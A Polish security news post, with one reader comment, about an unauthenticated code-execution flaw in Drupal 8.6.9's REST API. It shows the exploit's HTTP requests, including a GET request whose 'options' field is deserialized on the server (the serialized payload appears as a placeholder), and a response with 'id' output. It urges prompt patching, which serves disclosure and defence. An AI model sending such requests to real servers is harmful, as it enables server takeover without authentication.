Mega Sekurak Hacking Party w Krakowie! 26-27.10.2026 r.
Banalny exploit na Drupala – można przejąć serwer bez uwierzytelnienia
Niewiele trzeba było czekać na analizę ostatniego patcha wydanego przez ekipę Drupala. Jeśli mamy dostępne API RESTowe możemy wykonać taki request:
POST /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.56.101
Content-Type: application/hal+json
Content-Length: 286
{
"_links": {
"type": {
"href": "http://192.168.56.101/drupal-8.6.9/rest/type/node/article"
}
},
"type": {
"target_id": "article"
},
"title": {
"value": "My Article"
},
"body": {
"value": "some body content aaa bbb ccc"
}
}
Bez uwierzytelnienia on nie przechodzi. Ale… jeśli zmienimy metodę z POST na GET, żądanie jest przetwarzane bez uwierzytelnienia!
Co więcej, w parametrze options (patrz poniżej) można przekazać ciąg znaków, który jest automatycznie deserializowany po stronie serwerowej i mamy wykonanie kodu po stronie serwerowej:
GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642
{
"link": [
{
"value": "link",
"options": "<SERIALIZED_CONTENT>"
}
],
"_links": {
"type": {
"href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
}
}
}
W odpowiedzi wynik naszego polecenia (w tym przypadku id):
HTTP/1.1 200 OK
Link: <...>
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Cache: MISS
Connection: close
Content-Type: application/hal+json
Content-Length: 9012
{...}uid=33(www-data) gid=33(www-data) groups=33(www-data)
Polecamy jak najszybciej załatać Drupala.
PS
Jeśli interesuje Cię tematyka bezpieczeństwa API REST – zapraszamy na nasze autorskie szkolenie warsztatowe.
–ms

Szybka reakcja! Bo faktycznie mogloby to namieszac troche bez patcha. Z drugiej strony przy architekturze Docker-owej za duzo tutaj nie zdzialamy co dodaje pewny 'layer’ bezpieczenstwa.
Pozdrawiam